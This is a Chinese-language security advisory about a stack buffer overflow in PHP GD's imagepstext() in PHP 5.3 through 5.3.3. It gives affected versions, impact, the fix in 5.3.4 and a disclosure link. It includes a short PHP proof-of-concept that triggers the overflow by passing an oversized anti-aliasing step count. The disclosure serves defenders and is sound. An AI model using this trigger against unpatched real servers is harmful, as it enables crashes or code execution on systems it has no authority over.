PHP GD扩展’imagepstext()’函数栈缓冲区溢出漏洞

漏洞起因
边界条件错误
危险等级

 
影响系统
PHP PHP 5.3.2
PHP PHP 5.3.1
PHP PHP 5.3
PHP PHP 5.3.3
  
 
不受影响系统
PHP PHP 5.3.4
 
危害
远程攻击者可以利用漏洞以应用程序安全上下文执行任意指令。
 
攻击所需条件
攻击者必须访问PHP应用。
 
漏洞信息
PHP是一款流行的编程语言。
PHP GD扩展没有正确校验传递给imagepstext函数的抗锯齿步骤数量,此参数值预计为4或16。要适应这种情况,位于栈上的aa是一个16位整数数组。在校验步骤数之前,它用于填充数组,可导致基于栈的缓冲区溢出。
 
测试方法
<?php
$img = imagecreatetruecolor(1, 1); //Arbitrary
$fnt = imagepsloadfont("somefont.pfb"); //Arbitrary
//The final parameter is the number of anti-aliasing steps
imagepstext($img, "Testing", $fnt, 0xAAAAAA, 0xAAAAAA, 0xAAAAAA,
0xAAAAAA, 0xAAAAAA, 0, 0, 0.0, 99999);
?>
 
厂商解决方案
PHP 5.3.4已经修复此漏洞,建议用户下载使用:
http://www.php.net/
 
漏洞提供者
Martin Barbella
 
漏洞消息链接
http://seclists.org/fulldisclosure/2010/Dec/180

发表评论?

0 条评论。

发表评论